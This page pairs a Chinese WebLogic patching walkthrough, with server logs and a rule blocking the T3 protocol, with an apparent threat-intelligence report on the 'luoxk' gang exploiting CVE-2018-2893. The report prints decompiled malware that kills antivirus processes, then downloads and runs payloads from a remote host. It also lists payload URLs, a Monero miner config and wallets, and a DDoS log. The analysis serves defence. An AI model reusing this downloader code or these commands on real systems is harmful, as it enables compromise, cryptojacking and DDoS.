CLASSPATH=/wls11g/patch_wls1036/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/wls11g/patch_ocp371/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/usr/lib/jvm/java-
1.6.0-openjdk-
1.6.0.0.x86_64/lib/tools.jar:/wls11g/wlserver_10.3/server/lib/weblogic_sp.jar:/wls11g/wlserver_10.3/server/lib/weblogic.jar:/wls11g/modules/features/weblogic.server.modules_10.3.6.0.jar:/wl
s11g/wlserver_10.3/server/lib/webservices.jar:/wls11g/modules/org.apache.ant_1.7.1/lib/ant-all.jar:/wls11g/modules/net.sf.antcontrib_1.1.0.0_1-0b2/lib/ant-
contrib.jar:/wls11g/wlserver_10.3/common/derby/lib/derbyclient.jar:/wls11g/wlserver_10.3/server/lib/xqrl.jar
.
PATH=/wls11g/wlserver_10.3/server/bin:/wls11g/modules/org.apache.ant_1.7.1/bin:/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/jre/bin:/usr/lib/jvm/java-1.6.0-openjdk-
1.6.0.0.x86_64/bin:/sbin:/usr/sbin:/bin:/usr/bin
.
***************************************************
*  To start WebLogic Server, use a username and   *
*  password assigned to an admin-level user.  For *
*  server administration, use the WebLogic Server *
*  console at http://hostname:port/console        *
***************************************************
starting weblogic with Java version:
java version "1.6.0"
OpenJDK  Runtime Environment (build 1.6.0-b09)
OpenJDK 64-Bit Server VM (build 1.6.0-b09, mixed mode)
Starting WLS with line:
/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/bin/java -server   -Xms4096m -Xmx4096m  -XX:MaxPermSize=256m -Dweblogic.Name=AdminServer -
Djava.security.policy=/wls11g/wlserver_10.3/server/lib/weblogic.policy  -Dweblogic.ProductionModeEnabled=true   -da -Dplatform.home=/wls11g/wlserver_10.3 -
Dwls.home=/wls11g/wlserver_10.3/server -Dweblogic.home=/wls11g/wlserver_10.3/server   -Dweblogic.management.discover=true  -Dwlw.iterativeDev=false -Dwlw.testConsole=false -
Dwlw.logErrorsToConsole=false -Dweblogic.ext.dirs=/wls11g/patch_wls1036/profiles/default/sysext_manifest_classpath:/wls11g/patch_ocp371/profiles/default/sysext_manifest_classpath -
Dplatform.home=/wls11g/wlserver_10.3 -Dwls.home=/wls11g/wlserver_10.3/server -Dweblogic.home=/wls11g/wlserver_10.3/server   -Dweblogic.management.discover=true  -verbose:gc -XX:
+PrintGCTimeStamps  -XX:+HeapDumpOnOutOfMemoryError  -XX:+PrintGCDetails -XX:+PrintGC -Xloggc:gc.log  -Dwlw.iterativeDev=false -Dwlw.testConsole=false -Dwlw.logErrorsToConsole=false  
weblogic.Server
<Jul 19, 2018 5:38:59 PM CST> <Info> <Security> <BEA-090905> <Disabling CryptoJ JCE Provider self-integrity check for better startup performance. To enable this check, specify -
Dweblogic.security.allowCryptoJDefaultJCEVerification=true> 
<Jul 19, 2018 5:38:59 PM CST> <Info> <Security> <BEA-090906> <Changing the default Random Number Generator in RSA CryptoJ from ECDRBG to FIPS186PRNG. To disable this change, specify -
Dweblogic.security.allowCryptoJDefaultPRNG=true> 
<Jul 19, 2018 5:38:59 PM CST> <Info> <WebLogicServer> <BEA-000377> <Starting WebLogic Server with OpenJDK 64-Bit Server VM Version 1.6.0-b09 from Sun Microsystems Inc.> 
<Jul 19, 2018 5:39:00 PM CST> <Info> <Management> <BEA-141107> <Version: WebLogic Server 10.3.6.0  Tue Nov 15 08:52:36 PST 2011 1441050 > 
<Jul 19, 2018 5:39:02 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to STARTING> 
<Jul 19, 2018 5:39:02 PM CST> <Info> <WorkManager> <BEA-002900> <Initializing self-tuning thread pool> 
<Jul 19, 2018 5:39:03 PM CST> <Notice> <Log Management> <BEA-170019> <The server log file /wls11g/user_projects/domains/base_domain/servers/AdminServer/logs/AdminServer.log is opened. All 
server side log events will be written to this file.> 
<Jul 19, 2018 5:39:05 PM CST> <Notice> <Security> <BEA-090082> <Security initializing using security realm myrealm.> 
<Jul 19, 2018 5:39:08 PM CST> <Warning> <Deployer> <BEA-149617> <Non-critical internal application wls-wsat was not deployed. Error: [Deployer:149158]No application files exist at 
'/wls11g/wlserver_10.3/server/lib/wls-wsat.war'.> 
<Jul 19, 2018 5:39:09 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to STANDBY> 
<Jul 19, 2018 5:39:09 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to STARTING>

9.由于安装补丁后不能正常启动weblogic所以选择禁用T3协议
登录控制台后在 bash_domain的配置页面中选择“安全”选项卡页面,再点击"筛选器"并在连接筛选器规则中设置以下规则

127.0.0.1 * * allow t3 t3s
0.0.0.0/0 * * deny t3 t3s

(通过临时方案的去做的话,设置好后,会出现无法启动weblogic的情况。127.0.0.1 改成自己所在网段即可,最后要重启服务。如出现application不能启动,则要重新部署)

10.然后重新启动weblogic

[root@app1 bsu]# service weblogic restart
Stopping weblogic: weblogic is not running.
Starting weblogic: 
[root@app1 bsu]# .
.
JAVA Memory arguments: -Xms4096m -Xmx4096m  -XX:MaxPermSize=256m
.
WLS Start Mode=Production
.
CLASSPATH=/wls11g/patch_wls1036/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/wls11g/patch_ocp371/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/usr/lib/jvm/java-
1.6.0-openjdk-
1.6.0.0.x86_64/lib/tools.jar:/wls11g/wlserver_10.3/server/lib/weblogic_sp.jar:/wls11g/wlserver_10.3/server/lib/weblogic.jar:/wls11g/modules/features/weblogic.server.modules_10.3.6.0.jar:/wl
s11g/wlserver_10.3/server/lib/webservices.jar:/wls11g/modules/org.apache.ant_1.7.1/lib/ant-all.jar:/wls11g/modules/net.sf.antcontrib_1.1.0.0_1-0b2/lib/ant-
contrib.jar:/wls11g/wlserver_10.3/common/derby/lib/derbyclient.jar:/wls11g/wlserver_10.3/server/lib/xqrl.jar
.
PATH=/wls11g/wlserver_10.3/server/bin:/wls11g/modules/org.apache.ant_1.7.1/bin:/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/jre/bin:/usr/lib/jvm/java-1.6.0-openjdk-
1.6.0.0.x86_64/bin:/sbin:/usr/sbin:/bin:/usr/bin
.
***************************************************
*  To start WebLogic Server, use a username and   *
*  password assigned to an admin-level user.  For *
*  server administration, use the WebLogic Server *
*  console at http://hostname:port/console        *
***************************************************
starting weblogic with Java version:
java version "1.6.0"
OpenJDK  Runtime Environment (build 1.6.0-b09)
OpenJDK 64-Bit Server VM (build 1.6.0-b09, mixed mode)
Starting WLS with line:
/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/bin/java -server   -Xms4096m -Xmx4096m  -XX:MaxPermSize=256m -Dweblogic.Name=AdminServer -
Djava.security.policy=/wls11g/wlserver_10.3/server/lib/weblogic.policy  -Dweblogic.ProductionModeEnabled=true   -da -Dplatform.home=/wls11g/wlserver_10.3 -
Dwls.home=/wls11g/wlserver_10.3/server -Dweblogic.home=/wls11g/wlserver_10.3/server   -Dweblogic.management.discover=true  -Dwlw.iterativeDev=false -Dwlw.testConsole=false -
Dwlw.logErrorsToConsole=false -Dweblogic.ext.dirs=/wls11g/patch_wls1036/profiles/default/sysext_manifest_classpath:/wls11g/patch_ocp371/profiles/default/sysext_manifest_classpath -
Dplatform.home=/wls11g/wlserver_10.3 -Dwls.home=/wls11g/wlserver_10.3/server -Dweblogic.home=/wls11g/wlserver_10.3/server   -Dweblogic.management.discover=true  -verbose:gc -XX:
+PrintGCTimeStamps  -XX:+HeapDumpOnOutOfMemoryError  -XX:+PrintGCDetails -XX:+PrintGC -Xloggc:gc.log  -Dwlw.iterativeDev=false -Dwlw.testConsole=false -Dwlw.logErrorsToConsole=false  
weblogic.Server
<Jul 19, 2018 5:38:59 PM CST> <Info> <Security> <BEA-090905> <Disabling CryptoJ JCE Provider self-integrity check for better startup performance. To enable this check, specify -
Dweblogic.security.allowCryptoJDefaultJCEVerification=true> 
<Jul 19, 2018 5:38:59 PM CST> <Info> <Security> <BEA-090906> <Changing the default Random Number Generator in RSA CryptoJ from ECDRBG to FIPS186PRNG. To disable this change, specify -
Dweblogic.security.allowCryptoJDefaultPRNG=true> 
<Jul 19, 2018 5:38:59 PM CST> <Info> <WebLogicServer> <BEA-000377> <Starting WebLogic Server with OpenJDK 64-Bit Server VM Version 1.6.0-b09 from Sun Microsystems Inc.> 
<Jul 19, 2018 5:39:00 PM CST> <Info> <Management> <BEA-141107> <Version: WebLogic Server 10.3.6.0  Tue Nov 15 08:52:36 PST 2011 1441050 > 
<Jul 19, 2018 5:39:02 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to STARTING> 
<Jul 19, 2018 5:39:02 PM CST> <Info> <WorkManager> <BEA-002900> <Initializing self-tuning thread pool> 
<Jul 19, 2018 5:39:03 PM CST> <Notice> <Log Management> <BEA-170019> <The server log file /wls11g/user_projects/domains/base_domain/servers/AdminServer/logs/AdminServer.log is opened. All 
server side log events will be written to this file.> 
<Jul 19, 2018 5:39:05 PM CST> <Notice> <Security> <BEA-090082> <Security initializing using security realm myrealm.> 
<Jul 19, 2018 5:39:08 PM CST> <Warning> <Deployer> <BEA-149617> <Non-critical internal application wls-wsat was not deployed. Error: [Deployer:149158]No application files exist at 
'/wls11g/wlserver_10.3/server/lib/wls-wsat.war'.> 
<Jul 19, 2018 5:39:09 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to STANDBY> 
<Jul 19, 2018 5:39:09 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to STARTING>

对于12.1.3.0版本使用OPatch来进行补丁安装
1.将最新的OPatch工具上传到WebLogic所在服务器并解压

[root@ldjc wls12c]# unzip p6880880_132000_Generic.zip
Archive:  p6880880_132000_Generic.zip
replace OPatch/ocm/lib/emocmutl.jar? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: OPatch/ocm/lib/emocmutl.jar  
replace OPatch/ocm/doc/dummy.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
 extracting: OPatch/ocm/doc/dummy.txt  
 extracting: OPatch/ocm/bin/dummy    
  inflating: OPatch/ocm/ocm_platforms.txt  
 extracting: OPatch/ocm/generic.zip  
  inflating: OPatch/oplan/README.html  
  inflating: OPatch/oplan/oplan      
  inflating: OPatch/oplan/README.txt  
  inflating: OPatch/oplan/jlib/EMrepoDrivers.jar  
  inflating: OPatch/oplan/jlib/automation.jar  
  inflating: OPatch/oplan/jlib/Validation.jar  
  inflating: OPatch/oplan/jlib/apache-commons/commons-cli-1.0.jar  
  inflating: OPatch/oplan/jlib/CRSProductDriver.jar  
  inflating: OPatch/oplan/jlib/OsysModel.jar  
  inflating: OPatch/oplan/jlib/oplan.jar  
  inflating: OPatch/oplan/jlib/jaxb/activation.jar  
  inflating: OPatch/oplan/jlib/jaxb/jaxb-api.jar  
  inflating: OPatch/oplan/jlib/jaxb/jaxb-impl.jar  
  inflating: OPatch/oplan/jlib/jaxb/jsr173_1.0_api.jar  
  inflating: OPatch/oplan/jlib/ValidationRules.jar  
  inflating: OPatch/oplan/jlib/patchsdk.jar  
  inflating: OPatch/oplan/jlib/osysmodel-utils.jar  
  inflating: OPatch/oplan/jlib/oracle.oplan.classpath.jar  
  inflating: OPatch/operr.bat        
  inflating: OPatch/opatchprereqs/oui/knowledgesrc.xml  
   creating: OPatch/opatchprereqs/opatch/
  inflating: OPatch/opatchprereqs/opatch/opatch_prereq.xml  
  inflating: OPatch/opatchprereqs/opatch/rulemap.xml  
  inflating: OPatch/opatchprereqs/opatch/runtime_prereq.xml  
  inflating: OPatch/opatchprereqs/opatch_prereq.sh  
  inflating: OPatch/opatchprereqs/prerequisite.properties  
  inflating: OPatch/opatch           
  inflating: OPatch/emdpatch.pl      
  inflating: OPatch/version.txt      
  inflating: OPatch/opatch.ini       
  inflating: OPatch/operr            
  inflating: OPatch/README.txt       
  inflating: OPatch/opatch.pl        
  inflating: OPatch/scripts/opatch_wls.bat  
  inflating: OPatch/scripts/opatch_jvm_discovery.bat  
  inflating: OPatch/scripts/opatch_wls  
  inflating: OPatch/scripts/opatch_jvm_discovery  
  inflating: OPatch/docs/operr_readme.txt  
  inflating: OPatch/docs/README.txt  
  inflating: OPatch/jlib/oracle.opatch.classpath.windows.jar  
  inflating: OPatch/jlib/opatchsdk.jar  
  inflating: OPatch/jlib/oracle.opatch.classpath.unix.jar  
  inflating: OPatch/jlib/opatch.jar  
  inflating: OPatch/jlib/oracle.opatch.classpath.jar  
  inflating: OPatch/opatch.bat       
[root@ldjc wls12c]# chown -R xxxx:xxxx /wls12c/OPatch

2.将补丁包上传unzip p27919943_121300_Generic.zip到WebLogic所在服务器并解压

[root@ldjc soft]# unzip p27919943_121300_Generic.zip
Archive:  p27919943_121300_Generic.zip
   creating: 27919943/
   creating: 27919943/etc/
   creating: 27919943/etc/config/
  inflating: 27919943/etc/config/actions.xml  
  inflating: 27919943/etc/config/inventory.xml  
   creating: 27919943/files/
   creating: 27919943/files/inventory/
   creating: 27919943/files/inventory/Components/
   creating: 27919943/files/inventory/Components/oracle.css.mod/
   creating: 27919943/files/inventory/Components/oracle.css.mod/12.1.3.0.0/
   creating: 27919943/files/inventory/Components/oracle.css.mod/12.1.3.0.0/patches/
   creating: 27919943/files/inventory/Components/oracle.css.mod/12.1.3.0.0/patches/22153233/
  inflating: 27919943/files/inventory/Components/oracle.css.mod/12.1.3.0.0/patches/22153233/compDef.xml  
   creating: 27919943/files/inventory/Components/oracle.fmwconfig.common.shared/
...省略...

3.安装补丁

[weblogic@ldjc OPatch]$ ./opatch apply /soft/27919943/
Oracle Interim Patch Installer version 13.2.0.0.0
Copyright (c) 2014, Oracle Corporation.  All rights reserved.
Oracle Home       : /wls12c
Central Inventory : /home/weblogic/oraInventory
   from           : /wls12c/oraInst.loc
OPatch version    : 13.2.0.0.0
OUI version       : 13.2.0.0.0
Log file location : /wls12c/cfgtoollogs/opatch/27919943_Jul_20_2018_06_54_37/apply2018-07-20_06-54-29AM_1.log
OPatch detects the Middleware Home as "/wls12c"
Jul 20, 2018 6:54:41 AM oracle.sysman.oii.oiii.OiiiInstallAreaControl initAreaControl
INFO: Install area Control created with access level  0
Applying interim patch '27919943' to OH '/wls12c'
Verifying environment and performing prerequisite checks...
Interim patch 27919943 is a superset of the patch(es) [  22250567 21370953 ] in the Oracle Home
OPatch will roll back the subset patches and apply the given patch.
All checks passed.
Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/wls12c')
Is the local system ready for patching? [y|n]
y
User Responded with: Y
Backing up files...
Rolling back interim patch '22250567' from OH '/wls12c'
Patching component oracle.wls.libraries, 12.1.3.0.0...
Patching component oracle.wls.libraries, 12.1.3.0.0...
Patching component oracle.wls.clients, 12.1.3.0.0...
Patching component oracle.wls.clients, 12.1.3.0.0...
RollbackSession removing interim patch '22250567' from inventory
Rolling back interim patch '21370953' from OH '/wls12c'
Patching component oracle.wls.libraries, 12.1.3.0.0...
Patching component oracle.wls.libraries, 12.1.3.0.0...
Patching component oracle.wls.clients, 12.1.3.0.0...
Patching component oracle.wls.clients, 12.1.3.0.0...
Patching component oracle.wls.core.app.server, 12.1.3.0.0...
Patching component oracle.wls.core.app.server, 12.1.3.0.0...
Patching component oracle.wls.libraries.mod, 12.1.3.0.0...
Patching component oracle.wls.libraries.mod, 12.1.3.0.0...
Patching component oracle.webservices.wls, 12.1.3.0.0...
Patching component oracle.webservices.wls, 12.1.3.0.0...
Patching component oracle.wls.server.shared.with.core.engine, 12.1.3.0.0...
Patching component oracle.wls.server.shared.with.core.engine, 12.1.3.0.0...
Patching component oracle.wls.workshop.code.completion.support, 12.1.3.0.0...
Patching component oracle.wls.workshop.code.completion.support, 12.1.3.0.0...
Patching component oracle.wls.admin.console.en, 12.1.3.0.0...
Patching component oracle.wls.admin.console.en, 12.1.3.0.0...
RollbackSession removing interim patch '21370953' from inventory
OPatch back to application of the patch '27919943' after auto-rollback.
Patching component oracle.wls.workshop.code.completion.support, 12.1.3.0.0...
Patching component oracle.wls.workshop.code.completion.support, 12.1.3.0.0...
Patching component oracle.css.mod, 12.1.3.0.0...
Patching component oracle.css.mod, 12.1.3.0.0...
Patching component oracle.fmwconfig.common.shared, 12.1.3.0.0...
Patching component oracle.fmwconfig.common.shared, 12.1.3.0.0...
Patching component oracle.wls.common.nodemanager, 12.1.3.0.0...
Patching component oracle.wls.common.nodemanager, 12.1.3.0.0...
Patching component oracle.wls.server.shared.with.core.engine, 12.1.3.0.0...
Patching component oracle.wls.server.shared.with.core.engine, 12.1.3.0.0...
Patching component oracle.webservices.base, 12.1.3.0.0...
Patching component oracle.webservices.base, 12.1.3.0.0...
Patching component oracle.wls.shared.with.cam, 12.1.3.0.0...
Patching component oracle.wls.shared.with.cam, 12.1.3.0.0...
Patching component oracle.webservices.orawsdl, 12.1.3.0.0...
Patching component oracle.webservices.orawsdl, 12.1.3.0.0...
Patching component oracle.wls.libraries.mod, 12.1.3.0.0...
Patching component oracle.wls.libraries.mod, 12.1.3.0.0...
Patching component oracle.wls.admin.console.en, 12.1.3.0.0...
Patching component oracle.wls.admin.console.en, 12.1.3.0.0...
Patching component oracle.wls.core.app.server, 12.1.3.0.0...
Patching component oracle.wls.core.app.server, 12.1.3.0.0...
Patching component oracle.webservices.wls, 12.1.3.0.0...
Patching component oracle.webservices.wls, 12.1.3.0.0...
Patching component oracle.wls.clients, 12.1.3.0.0...
Patching component oracle.wls.clients, 12.1.3.0.0...
Patching component oracle.wls.wlsportable.mod, 12.1.3.0.0...
Patching component oracle.wls.wlsportable.mod, 12.1.3.0.0...
Patching component oracle.fmwconfig.common.wls.shared, 12.1.3.0.0...
Patching component oracle.fmwconfig.common.wls.shared, 12.1.3.0.0...
Patching component oracle.wls.libraries, 12.1.3.0.0...
Patching component oracle.wls.libraries, 12.1.3.0.0...
Verifying the update...
Patch 27919943 successfully applied
Log file location: /wls12c/cfgtoollogs/opatch/27919943_Jul_20_2018_06_54_37/apply2018-07-20_06-54-29AM_1.log
OPatch succeeded.

4.查看补丁是否安装成功从输出结果可以看到已经安装成功

[weblogic@ldjc OPatch]$ ./opatch lspatches
Jul 20, 2018 7:00:17 AM oracle.sysman.oii.oiii.OiiiInstallAreaControl initAreaControl
INFO: Install area Control created with access level  0
27919943;WLS PATCH SET UPDATE 12.1.3.0.180717
20741228;JDBC 12.1.3.1 BP1
OPatch succeeded.

5.重启weblogic

[root@ldjc base_domain]# service weblogic restart
Stopping weblogic: 
Starting weblogic: 
.
JAVA Memory arguments: -Xms256m -Xmx512m -XX:CompileThreshold=8000 -XX:PermSize=128m  -XX:MaxPermSize=256m
.
CLASSPATH=/opt/jdk1.7.0_75/lib/tools.jar:/wls12c/wlserver/server/lib/weblogic_sp.jar:/wls12c/wlserver/server/lib/weblogic.jar:/wls12c/wlserver/../oracle_common/modules/net.sf.antcontrib_1.1
.0.0_1-0b3/lib/ant-contrib.jar:/wls12c/wlserver/modules/features/oracle.wls.common.nodemanager_2.0.0.0.jar:/wls12c/wlserver/../oracle_common/modules/com.oracle.cie.config-wls-
online_8.1.0.0.jar:/wls12c/wlserver/common/derby/lib/derbyclient.jar:/wls12c/wlserver/common/derby/lib/derby.jar:/wls12c/wlserver/server/lib/xqrl.jar
.
PATH=/wls12c/wlserver/server/bin:/wls12c/wlserver/../oracle_common/modules/org.apache.ant_1.9.2/bin:/opt/jdk1.7.0_75/jre/bin:/opt/jdk1.7.0_75/bin:/sbin:/usr/sbin:/bin:/usr/bin
.
***************************************************
*  To start WebLogic Server, use a username and   *
*  password assigned to an admin-level user.  For *
*  server administration, use the WebLogic Server *
*  console at http://hostname:port/console        *
***************************************************
starting weblogic with Java version:
java version "1.7.0_75"
Java(TM) SE Runtime Environment (build 1.7.0_75-b13)
Java HotSpot(TM) 64-Bit Server VM (build 24.75-b04, mixed mode)
Starting WLS with line:
/opt/jdk1.7.0_75/bin/java -server   -Xms256m -Xmx512m -XX:CompileThreshold=8000 -XX:PermSize=128m  -XX:MaxPermSize=256m -Dweblogic.Name=AdminServer -
Djava.security.policy=/wls12c/wlserver/server/lib/weblogic.policy  -Xverify:none -Djava.endorsed.dirs=/opt/jdk1.7.0_75/jre/lib/endorsed:/wls12c/wlserver/../oracle_common/modules/endorsed  
-da -Dwls.home=/wls12c/wlserver/server -Dweblogic.home=/wls12c/wlserver/server     -Dweblogic.utils.cmm.lowertier.ServiceDisabled=true  weblogic.Server
<Jul 20, 2018 7:20:33 AM CST> <Notice> <Log Management> <BEA-170019> <The server log file /wls12c/user_projects/domains/base_domain/servers/AdminServer/logs/AdminServer.log is opened. All 
server side log events will be written to this file.> 
<Jul 20, 2018 7:20:35 AM CST> <Notice> <Security> <BEA-090082> <Security initializing using security realm myrealm.> 
<Jul 20, 2018 7:20:35 AM CST> <Warning> <JMX> <BEA-149512> <JMX Connector Server started at service:jmx:iiop://192.168.1.249:7001/jndi/weblogic.management.mbeanservers.runtime.> 
<Jul 20, 2018 7:20:35 AM CST> <Warning> <JMX> <BEA-149512> <JMX Connector Server started at service:jmx:iiop://192.168.1.249:7001/jndi/weblogic.management.mbeanservers.domainruntime.> 
<Jul 20, 2018 7:20:35 AM CST> <Warning> <JMX> <BEA-149512> <JMX Connector Server started at service:jmx:iiop://12.18.1.249:7001/jndi/weblogic.management.mbeanservers.edit.> 
<Jul 20, 2018 7:20:36 AM CST> <Warning> <Deployer> <BEA-149617> <Non-critical internal application com.oracle.webservices.wls.wsat-endpoints-impl_12.1.3 was not deployed. Error: 
[Deployer:149158]No application files exist at "/wls12c/wlserver/server/lib/../../../oracle_common/modules/com.oracle.webservices.wls.wsat-endpoints-impl_12.1.3.war".> 
<Jul 20, 2018 7:20:36 AM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to STANDBY.> 
<Jul 20, 2018 7:20:36 AM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to STARTING.>

到此补丁升级完成

 

恶意代码团伙luoxk正在积极利用CVE-2018-2893传播

$
0
0

恶意代码团伙luoxk正在积极利用CVE-2018-2893传播


文章作者:Zhang Zaifeng, yegenshen, RootKiter, JiaYu

7月18日,Oracle在官方发布的例行补丁更新中修复了CVE-2018-2893,一个Oracle WebLogic Server 远程代码执行漏洞。

一般认为漏洞影响严重且相关PoC已经公开,建议相关用户尽快进行评估升级。

三天后,2018-07-21 11:24:31 开始,我们注意到一个长久以来我们跟踪的恶意代码团伙正在积极利用该漏洞传播自身。由于该团伙经常使用 luoxkexp[.]com ,我们将其命名为 luoxk 。

该恶意代码团伙第一次触发我们的警铃是在一年前的2017年3月17日,我们的DNSMon系统,在该恶意代码团伙域名注册后的第二天根据算法自动判断该域名异常。

在那以后,我们持续观察了该恶意代码团伙的行为,包括:

  • DDoS攻击:使用DSL4(Nitol)恶意代码,对应的C2 luoxkexp.com
  • 挖矿:挖矿使用的钱包地址是 48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH,不过目前收益并不高,pool.minexmr.com给付的门罗币(XMR)只有 2.746605935

下面是我们Botnet跟踪系统看到的最早的DDoS攻击指令,发生于 2017-06-11,受害者是 116.211.167.112。

2017-06-11 22:39:29     dsl4            luoxkexp.com                    192.225.225.154 2015    ddos        tcp_flood       116.211.167.112                 15010       tcp_flood, target=116.211.167.112, port=15010, attack_time=20m, threads=30, type=22   

luoxk 团伙近期利用 CVE-2018-2893 挖矿

21日起,luoxk 团伙开始利用仅发布了 3 天的CVE-2018-2893。漏洞利用主要通过下面这个文件实现

hxxp://103.99.115.220:8080/JexRemoteTools.jar      #md5 hash 2f7df3baefb1cdcd7e7de38cc964c9dc  

通过对该jar包反编译,可以注意到有以下关键代码

public JexReverse(String paramString, int paramInt) throws Exception  

 {

   Properties localProperties = System.getProperties();

   String str = localProperties.getProperty("os.name");

   try

   {

     if (str.contains("Win"))

     {

       execw("taskkill /f /im 360Safe.exe");

       execw("taskkill /f /im 360tray.exe");

       downloadFile("hxxp://121.18.238.56:8080/aaa.exe", "59081.exe");


       execw("cmd /c 59081.exe");

       exec("59081.exe");

       throw new Exception("8888: windows执行下载者命令");

     }

     downloadFile("hxxp://121.18.238.56:8080/testshell.sh", "gen.sh");

     execw("chmod 777 gen.sh");

     exec("/bin/sh gen.sh");


   }

   catch (Exception localException)

   {


     if (localException.toString().indexOf("8888") > -1) {

       throw localException;

     }

     throw new Exception("8888:" + new String(localException.toString()) + "rn");

   }

 }

会从服务器上继续下载以下内容:

hxxp://121.18.238.56:8080/aaa.exe           #下载服务器,继续下载xmrig矿机   

hxxp://121.18.238.56:8080/testshell.sh      #下载后续 SYN_145, SYN_7008, a4.sh, a5.sh   

hxxp://121.18.238.56:8080/SYN_145           #ddos.billgates  C2=121.18.238.56:145   

hxxp://121.18.238.56:8080/a4.sh             #杀掉CPU占用率超过10% 的进程   

hxxp://121.18.238.56:8080/SYN_7008          #ddos.billgates  C2=121.18.238.56:7008   

hxxp://121.18.238.56:8080/a5.sh             #下载并运行下面的xmrig 矿机,同时杀掉除自己以外的CPU占用率超过10.0%的进程   

hxxp://121.18.238.56/xmrig                  #xmrig矿机,被上面的a5.sh下载并运行   

hxxp://luoxkexp.com:8099/ver1.txt           #矿机运行配置,具体内容见下,当前挖矿收益 2.746605935XMR  

矿机运行配置来自上述 ver1.txt,如下:

ver=1.5;   

pool=pool.minexmr.com;   

port=5555;   

user=48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH+15000;   

pass=x;   

algo=cryptonight;   

durl=http://121.18.238.56:8080/aaa.exe;  

值得一提的是,该恶意团伙会禁止部分IP地址的访问。在我们分析的过程中,就遇到了这种情况,某些URL在一段时间后就不能从特定IP地址访问了。

其他研究人员在复现本文内容时,可以考虑使用代理网络。

感染规模

从域名 luoxkexp[.]com 的访问情况看,单日DNS访问次数峰值超过300k,感染规模已经比较大。

并非结束

该团伙历史上使用过另外一个XRM钱包地址,在那个钱包里已经挖到了 195.625363870000 XMR:

pool: minexmr.com

wallet: 44kPVQ3NvAQghr7BruiBLwieqU653B88wCZAt64UJBYy1eydmhd3gXC8Tx9nfGVdCCSUtKb37pHvi25DrjXzXNM2BEsNccG  

该恶意团伙的工作范围非常广泛,除了本文已经介绍的内容以外,至少还包括:

  • RAT远程控制 :使用了 Gh0st 家族恶意代码
  • alipay:看到代码中包含了支付宝红包推广的行为,这可能意味着攻击者可以通过推广拿到提成
  • 安卓恶意代码
  • 利用RMI服务传播的蠕虫

这些内容也许我们会在后续文档中继续批露。

Viewing all 780 articles
Browse latest View live